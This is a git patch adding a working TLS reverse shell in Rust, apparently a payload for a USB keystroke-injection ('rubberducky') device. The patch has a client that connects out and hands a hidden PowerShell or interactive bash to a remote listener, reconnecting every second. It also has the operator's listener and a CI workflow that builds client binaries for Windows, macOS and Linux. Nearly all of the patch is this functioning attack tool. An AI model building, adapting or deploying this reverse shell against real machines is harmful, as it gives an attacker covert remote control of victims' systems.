From b13b4b7a763034e80e24eb90203fe66fc1972642 Mon Sep 17 00:00:00 2001 From: Matthew Tran Date: Fri, 2 Aug 2024 22:38:25 -0700 Subject: [PATCH] add revshell --- .github/workflows/revshell.yml | 48 +++++++++ .gitignore | 6 +- .../payloads/revshell/.cargo/config.toml | 2 + .../rubberducky/payloads/revshell/Cargo.toml | 27 ++++++ .../payloads/revshell/certs/cert.pem | 11 +++ .../payloads/revshell/certs/root-ca.pem | 11 +++ .../payloads/revshell/src/client.rs | 97 +++++++++++++++++++ .../payloads/revshell/src/server.rs | 90 +++++++++++++++++ 8 files changed, 291 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/revshell.yml create mode 100644 samples/apps/rubberducky/payloads/revshell/.cargo/config.toml create mode 100644 samples/apps/rubberducky/payloads/revshell/Cargo.toml create mode 100644 samples/apps/rubberducky/payloads/revshell/certs/cert.pem create mode 100644 samples/apps/rubberducky/payloads/revshell/certs/root-ca.pem create mode 100644 samples/apps/rubberducky/payloads/revshell/src/client.rs create mode 100644 samples/apps/rubberducky/payloads/revshell/src/server.rs diff --git a/.github/workflows/revshell.yml b/.github/workflows/revshell.yml new file mode 100644 index 0000000..31a3d37 --- /dev/null +++ b/.github/workflows/revshell.yml @@ -0,0 +1,48 @@ +name: revshell + +on: workflow_dispatch + +jobs: + build-unix: + name: ${{ matrix.os }} build + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-13, macos-14] + steps: + - uses: actions/checkout@v4 + - name: Build executable + working-directory: ./samples/apps/rubberducky/payloads/revshell + run: cargo build --release --bin client + - name: Rename executable + run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client ./${{ matrix.os }}-client + - uses: actions/upload-artifact@v4 + with: + name: ${{ matrix.os }}-client + path: ${{ matrix.os }}-client + + build-windows: + name: windows-latest build + runs-on: windows-latest + steps: + - uses: actions/checkout@v4 + - uses: ilammy/setup-nasm@v1 + - name: Build executable + working-directory: ./samples/apps/rubberducky/payloads/revshell + run: cargo build --release --bin client + - name: Rename executable + run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client.exe ./windows-latest-client.exe + - uses: actions/upload-artifact@v4 + with: + name: windows-latest-client + path: windows-latest-client.exe + + merge: + name: merge artifacts + runs-on: ubuntu-latest + needs: [build-unix, build-windows] + steps: + - uses: actions/upload-artifact/merge@v4 + with: + name: clients + delete-merged: true diff --git a/.gitignore b/.gitignore index 3fb8499..663bfeb 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,6 @@ -*.DS_Store +.DS_Store +.vscode build +target +Cargo.lock +*.key.pem diff --git a/samples/apps/rubberducky/payloads/revshell/.cargo/config.toml b/samples/apps/rubberducky/payloads/revshell/.cargo/config.toml new file mode 100644 index 0000000..4674114 --- /dev/null +++ b/samples/apps/rubberducky/payloads/revshell/.cargo/config.toml @@ -0,0 +1,2 @@ +[target.'cfg(not(target_os = "linux"))'] +rustflags = ["-C", "target-feature=+crt-static"] diff --git a/samples/apps/rubberducky/payloads/revshell/Cargo.toml b/samples/apps/rubberducky/payloads/revshell/Cargo.toml new file mode 100644 index 0000000..b159dfe --- /dev/null +++ b/samples/apps/rubberducky/payloads/revshell/Cargo.toml @@ -0,0 +1,27 @@ +[package] +name = "revshell" +default-run = "client" +version = "0.1.0" +edition = "2021" + +[[bin]] +name = "client" +path = "src/client.rs" + +[[bin]] +name = "server" +path = "src/server.rs" + +[target.'cfg(not(target_os = "windows"))'.dependencies] +termios = "0.3" + +[dependencies] +rustls-pemfile = "2.1" +tokio = { version = "1", features = ["full"] } +tokio-rustls = "0.26" + +# Windows needs more setup to build +# https://aws.github.io/aws-lc-rs/requirements/windows.html +# https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation + +# TODO add to payload diff --git a/samples/apps/rubberducky/payloads/revshell/certs/cert.pem b/samples/apps/rubberducky/payloads/revshell/certs/cert.pem new file mode 100644 index 0000000..61803c8 --- /dev/null +++ b/samples/apps/rubberducky/payloads/revshell/certs/cert.pem @@ -0,0 +1,11 @@ +-----BEGIN CERTIFICATE----- +MIIBoDCCAUWgAwIBAgIUNXzvXOCfzWTl6isCdYTnrI+Dl8IwCgYIKoZIzj0EAwIw +JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx +MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowGjEYMBYGA1UEAwwPbWF0dGhld3Ry +YW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEbVL9u1IbJ0cMVk7yd2Np +Kdr5j91jZoy/DHZP12NIw0tjDclxNk30ny0j7QFkAcHyNyYHGypQw/TAJJWYxKdB +maNaMFgwHwYDVR0jBBgwFoAUK0a6R9tAZj+bSAtCmTDiCcrEIuowJQYDVR0RBB4w +HIIPbWF0dGhld3RyYW4uY29tgglsb2NhbGhvc3QwDgYDVR0PAQH/BAQDAgeAMAoG +CCqGSM49BAMCA0kAMEYCIQC6J92vw968Vu4SYuEd4sYYeSYOcF0Jtxzrb8qx2pDh +KgIhAJI4qrNzMA1AVTTKWBZ3foord9L0ai5PVGzZeV2RgqWB +-----END CERTIFICATE----- diff --git a/samples/apps/rubberducky/payloads/revshell/certs/root-ca.pem b/samples/apps/rubberducky/payloads/revshell/certs/root-ca.pem new file mode 100644 index 0000000..cdab68b --- /dev/null +++ b/samples/apps/rubberducky/payloads/revshell/certs/root-ca.pem @@ -0,0 +1,11 @@ +-----BEGIN CERTIFICATE----- +MIIBkzCCATqgAwIBAgIUfxbNCkS0wwir3RsgzDpcWc4HfTswCgYIKoZIzj0EAwIw +JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx +MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowJzELMAkGA1UEBhMCQlIxGDAWBgNV +BAoMD0NyYWIgd2lkZ2l0cyBTRTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABERX +Wd7NAvl0w8vE9TgnSG04IU4kKF66LJWjZIMMvpMQm08i9GgceJmQu5AM1UvXmTVy +k4wW5IiIy+KQ+WIyahyjQjBAMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUK0a6 +R9tAZj+bSAtCmTDiCcrEIuowDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAgNH +ADBEAiAtPO+G/+HujOl56lBVcDvRw3d2PxuXYfctsTE0grvJqwIgXIEfl16Z19GR +yhyVToC54hSUkWjAd/BQkDUyotY17c4= +-----END CERTIFICATE----- diff --git a/samples/apps/rubberducky/payloads/revshell/src/client.rs b/samples/apps/rubberducky/payloads/revshell/src/client.rs new file mode 100644 index 0000000..f11f1fe --- /dev/null +++ b/samples/apps/rubberducky/payloads/revshell/src/client.rs @@ -0,0 +1,97 @@ +use crate::rustls::pki_types::ServerName; +use std::process::Stdio; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio_rustls::rustls; + +#[cfg(target_os = "windows")] +const SHELL: &str = "powershell.exe"; + +#[cfg(target_os = "windows")] +const SHELL_ARGS: &[&str] = &["-WindowStyle", "hidden"]; // TODO redirect everything + +#[cfg(any(target_os = "macos", target_os = "linux"))] +const SHELL: &str = "/bin/bash"; + +#[cfg(any(target_os = "macos", target_os = "linux"))] +const SHELL_ARGS: &[&str] = &["-i"]; + +async fn start_shell(addr: &str) -> tokio::io::Result<()> { + // setup TLS + let mut cert = include_bytes!("../certs/root-ca.pem").as_slice(); + let mut root = rustls::RootCertStore::empty(); + for c in rustls_pemfile::certs(&mut cert) { + root.add(c.unwrap()).unwrap(); + } + let cfg = rustls::ClientConfig::builder() + .with_root_certificates(root) + .with_no_client_auth(); + let conn = tokio_rustls::TlsConnector::from(std::sync::Arc::new(cfg)); + + // start connection + let sock = tokio::net::TcpStream::connect(addr).await?; + let domain = ServerName::try_from(addr.split(':').next().unwrap().to_string()).unwrap(); + let mut sock = conn.connect(domain, sock).await?; + + // start shell + let mut cmd = tokio::process::Command::new(SHELL) + .args(SHELL_ARGS) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + // pipe stdin/stdout/stderr + let mut stdin = cmd.stdin.take().unwrap(); + let mut stdout = cmd.stdout.take().unwrap(); + let mut stderr = cmd.stderr.take().unwrap(); + let _ = tokio::spawn(async move { + let mut buf_in = [0; 1024]; + let mut buf_out = [0; 1024]; + let mut buf_err = [0; 1024]; + loop { + tokio::select! { + v = sock.read(&mut buf_in) => { + let v = v?; + match v { + 0 => break, + len => stdin.write_all(&buf_in[0..len]).await?, + } + } + v = stdout.read(&mut buf_out) => { + let v = v?; + match v { + 0 => break, + len => sock.write_all(&buf_out[0..len]).await?, + } + } + v = stderr.read(&mut buf_err) => { + let v = v?; + match v { + 0 => break, + len => sock.write_all(&buf_err[0..len]).await?, + } + } + } + } + Ok::<(), tokio::io::Error>(()) + }) + .await; + let _ = cmd.wait().await; + Ok(()) +} + +#[tokio::main] +async fn main() { + let addr = std::env::args() + .nth(1) + .unwrap_or("localhost:8080".to_string()); + loop { + let err = start_shell(&addr).await; + if let Err(msg) = err { + println!("{}", msg); + } else { + println!("graceful exit"); + } + tokio::time::sleep(tokio::time::Duration::from_millis(1000)).await; + } +} diff --git a/samples/apps/rubberducky/payloads/revshell/src/server.rs b/samples/apps/rubberducky/payloads/revshell/src/server.rs new file mode 100644 index 0000000..48de276 --- /dev/null +++ b/samples/apps/rubberducky/payloads/revshell/src/server.rs @@ -0,0 +1,90 @@ +use std::os::fd::AsRawFd; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio_rustls::rustls; + +/* + * git clone https://github.com/rustls/rcgen.git && cd rcgen + * cargo run -- --common-name=matthewtran.com --san=matthewtran.com --san=localhost --output=certs + */ + +async fn connect_shell(addr: &str) -> tokio::io::Result<()> { + // setup TLS + let mut key = include_bytes!("../certs/cert.key.pem").as_slice(); + let mut cert = include_bytes!("../certs/cert.pem").as_slice(); + let key = rustls_pemfile::private_key(&mut key).unwrap().unwrap(); + let cert = rustls_pemfile::certs(&mut cert) + .collect::, _>>() + .unwrap(); + let cfg = rustls::ServerConfig::builder() + .with_no_client_auth() + .with_single_cert(cert, key) + .unwrap(); + let acc = tokio_rustls::TlsAcceptor::from(std::sync::Arc::new(cfg)); + + // start connection + let tcp = tokio::net::TcpListener::bind(addr).await?; + let (sock, addr) = tcp.accept().await?; + let mut sock = acc.accept(sock).await?; + println!("connected to {}", addr); + + // pipe to stdin/stdout + let _ = tokio::spawn(async move { + let mut stdin = tokio::io::stdin(); + let mut stdout = tokio::io::stdout(); + let mut read_buf = [0; 1024]; + let mut write_buf = [0; 1024]; + loop { + tokio::select! { + v = sock.read(&mut read_buf) => { + let v = v?; + match v { + 0 => break, + len => { + stdout.write_all(&read_buf[0..len]).await?; + stdout.flush().await? + }, + } + } + v = stdin.read(&mut write_buf) => { + let v = v?; + match v { + 0 => break, + len => sock.write_all(&write_buf[0..len]).await?, + } + } + } + } + Ok::<(), tokio::io::Error>(()) + }) + .await; + Ok(()) +} + +#[tokio::main] +async fn main() -> tokio::io::Result<()> { + // disable stdin echo and newline buffering + let stdin_fd = std::io::stdin().as_raw_fd(); + let termios_old = termios::Termios::from_fd(stdin_fd).unwrap(); + let mut termios = termios_old; + termios.c_lflag &= !(termios::ECHO | termios::ICANON); + termios.c_cc[termios::VMIN] = 1; + termios.c_cc[termios::VTIME] = 0; + termios::tcsetattr(stdin_fd, termios::TCSANOW, &termios)?; + + // start connection + let addr = std::env::args() + .nth(1) + .unwrap_or("0.0.0.0:8080".to_string()); + let err = connect_shell(&addr).await; + if let Err(msg) = err { + println!("{}", msg); + } + + // revert stdin + termios::tcsetattr(stdin_fd, termios::TCSADRAIN, &termios_old)?; + + println!("press enter again to exit..."); // https://docs.rs/tokio/latest/tokio/io/struct.Stdin.html + Ok(()) + + // TODO manage multiple connections +}